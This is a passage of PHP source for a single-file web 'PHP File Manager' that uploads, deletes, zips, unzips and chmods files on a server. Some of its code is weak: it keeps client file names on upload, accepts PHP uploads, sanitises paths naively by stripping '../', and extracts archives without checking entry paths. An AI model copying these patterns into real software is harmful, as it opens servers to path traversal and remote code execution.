filename="' . basename($path . '/' . $dl) . '"'); header('Content-Transfer-Encoding: binary'); header('Connection: Keep-Alive'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($path . '/' . $dl)); readfile($path . '/' . $dl); exit; } else { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // Upload if (isset($_POST['upl'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $total = count($_FILES['upload']['name']); for ($i = 0; $i < $total; $i++) { $tmp_name = $_FILES['upload']['tmp_name'][$i]; if (empty($_FILES['upload']['error'][$i]) && !empty($tmp_name) && $tmp_name != 'none') { if (move_uploaded_file($tmp_name, $path . '/' . $_FILES['upload']['name'][$i])) { $uploads++; } else { $errors++; } } } if ($errors == 0 && $uploads > 0) { fm_set_msg(sprintf('All files uploaded to %s', fm_enc($path))); } elseif ($errors == 0 && $uploads == 0) { fm_set_msg('Nothing uploaded', 'alert'); } else { fm_set_msg(sprintf('Error while uploading files. Uploaded files: %s', $uploads), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass deleting if (isset($_POST['group'], $_POST['delete'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg('Selected files and folder deleted'); } else { fm_set_msg('Error while deleting items', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Pack files if (isset($_POST['group'], $_POST['zip'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!class_exists('ZipArchive')) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $files = $_POST['file']; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.zip'; } else { $zipname = 'archive_' . date('ymd_His') . '.zip'; } $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); if ($res) { fm_set_msg(sprintf('Archive %s created', fm_enc($zipname))); } else { fm_set_msg('Archive not created', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Unpack if (isset($_GET['unzip'])) { $unzip = $_GET['unzip']; $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!class_exists('ZipArchive')) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; //to folder $tofolder = ''; if (isset($_GET['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); if ($res) { fm_set_msg('Archive unpacked'); } else { fm_set_msg('Archive not unpacked', 'error'); } } else { fm_set_msg('File not found', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod']) && !FM_IS_WIN) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg('Permissions changed'); } else { fm_set_msg('Permissions not changed', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } /*************************** /ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); if (is_array($objects)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } $new_path = $path . '/' . $file; if (is_file($new_path)) { $files[] = $file; } elseif (is_dir($new_path) && $file != '.' && $file != '..') { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload'])) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?>

    Uploading files

    Destination folder:







      Cancel

    Copying

    ' . PHP_EOL; } $copy_files_enc = array_map('fm_enc', $copy_files); ?>

    Files: , ', $copy_files_enc) ?>

    Source folder:
    /

      Cancel

    Copying

    Source path:
    Destination folder:

    Copy   Move   Cancel

    Select folder:

    ""

    Full path:
    File size: = 1000): ?> ()
    MIME-type:
    Files in archive:
    Total size:
    Size in archive:
    Compression: %
    '; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
    '; } ?>

    Download   Open   Unpack   Unpack to folder   Back

    '; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
    '; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
    '; } } echo ''; } else { echo '

    Error while fetching archive info

    '; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico'))) { echo '

    '; } } elseif ($is_audio) { // Audio content echo '

    '; } elseif ($is_video) { // Video content echo '
    '; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
    ' . fm_enc($content) . '
    '; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
    ' . fm_enc($content) . '
    '; } echo $content; } ?>

    Change Permissions

    Full path:

    Owner Group Other
    Read
    Write
    Execute

      Cancel

    '?'); $group = array('name' => '?'); } ?> '?'); $group = array('name' => '?'); } ?>
    NameSize Modified PermsOwner
    ..
    ' . fm_enc(readlink($path . '/' . $f)) . '' : '') ?>
    Folder
    ' . fm_enc(readlink($path . '/' . $f)) . '' : '') ?>
    Folder is empty
    Full size: , files: , folders:

    Select all   Unselect all   Invert selection

    = $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path) { $path = trim($path); $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { if ($size < 1000) { return sprintf('%s B', $size); } elseif (($size / 1024) < 1000) { return sprintf('%s KiB', round(($size / 1024), 2)); } elseif (($size / 1024 / 1024) < 1000) { return sprintf('%s MiB', round(($size / 1024 / 1024), 2)); } elseif (($size / 1024 / 1024 / 1024) < 1000) { return sprintf('%s GiB', round(($size / 1024 / 1024 / 1024), 2)); } else { return sprintf('%s TiB', round(($size / 1024 / 1024 / 1024 / 1024), 2)); } } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path) { if (function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } zip_close($arch); return $filenames; } } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION['message'] = $msg; $_SESSION['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': $img = 'icon-file_image'; break; case 'txt': case 'css': case 'ini': case 'conf': case 'log': case 'htaccess': case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'less': case 'sass': case 'scss': case 'c': case 'cpp': case 'cs': case 'py': case 'map': case 'lock': case 'dtd': $img = 'icon-file_text'; break; case 'zip': case 'rar': case 'gz': case 'tar': case '7z': $img = 'icon-file_zip'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'icon-file_php'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'icon-file_html'; break; case 'xml': case 'xsl': case 'svg': $img = 'icon-file_code'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'icon-file_music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': $img = 'icon-file_playlist'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $img = 'icon-file_film'; break; case 'eml': case 'msg': $img = 'icon-file_outlook'; break; case 'xls': case 'xlsx': $img = 'icon-file_excel'; break; case 'csv': $img = 'icon-file_csv'; break; case 'doc': case 'docx': $img = 'icon-file_word'; break; case 'ppt': case 'pptx': $img = 'icon-file_powerpoint'; break; case 'ttf': case 'ttc': case 'otf': case 'woff':case 'woff2': case 'eot': case 'fon': $img = 'icon-file_font'; break; case 'pdf': $img = 'icon-file_pdf'; break; case 'psd': $img = 'icon-file_photoshop'; break; case 'ai': case 'eps': $img = 'icon-file_illustrator'; break; case 'fla': $img = 'icon-file_flash'; break; case 'swf': $img = 'icon-file_swf'; break; case 'exe': case 'msi': $img = 'icon-file_application'; break; case 'bat': $img = 'icon-file_terminal'; break; default: $img = 'icon-document'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('webm', 'mp4', 'm4v', 'ogm', 'ogv', 'mov'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } //--- templates functions /** * Show nav block * @param string $path */ function fm_show_nav_path($path) { ?>
    "; $sep = ''; if ($path != '') { $exploded = explode('/', $path); $count = count($exploded); $array = array(); $parent = ''; for ($i = 0; $i < $count; $i++) { $parent = trim($parent . '/' . $exploded[$i], '/'); $parent_enc = urlencode($parent); $array[] = "" . fm_enc(fm_convert_win($exploded[$i])) . ""; } $root_url .= $sep . implode($sep, $array); } echo '
    ' . $root_url . '
    '; ?>
    ' . $_SESSION['message'] . '

    '; unset($_SESSION['message']); unset($_SESSION['status']); } } /** * Show page header */ function fm_show_header() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); ?> PHP File Manager 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAAZVJREFUeNqkk79Lw0AUx1+uidTQim4Waxfpnl1BcHMR6uLkIF0cpYOI f4KbOFcRwbGTc0HQSVQQXCqlFIXgFkhIyvWS870LaaPYH9CDy8vdfb+fey930aSUMEvT6VHVzw8x rKUX3N3Hj/8M+cZ6GcOtBPl6KY5iAA7KJzfVWrfbhUKhALZtQ6myDf1+X5nsuzjLUmUOnpa+v5r1 Z4ZDDfsLiwER45xDEATgOI6KntfDd091GidzC8vZ4vH1QQ09+4MSMAMWRREKPMhmsyr6voYmrnb2 PKEizdEabUaeFCDKCCHAdV0wTVNFznMgpVqGlZ2cipzHGtKSZwCIZJgJwxB38KHT6Sjx21V75Jcn LXmGAKTRpGVZUx2dAqQzSEqw9kqwuGqONTufPrw37D8lQFxCvjgPXIixANLEGfwuQacMOC4kZz+q GdhJS550BjpRCdCbAJCMJRkMASEIg+4Bxz4JwAwDSEueAYDLIM+QrOk6GHiRxjXSkJY8KUCvdXZ6 kbuvNx+mOcbN9taGBlpLAWf9nX8EGADoCfqkKWV/cgAAAABJRU5ErkJggg==', 'sprites' => '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 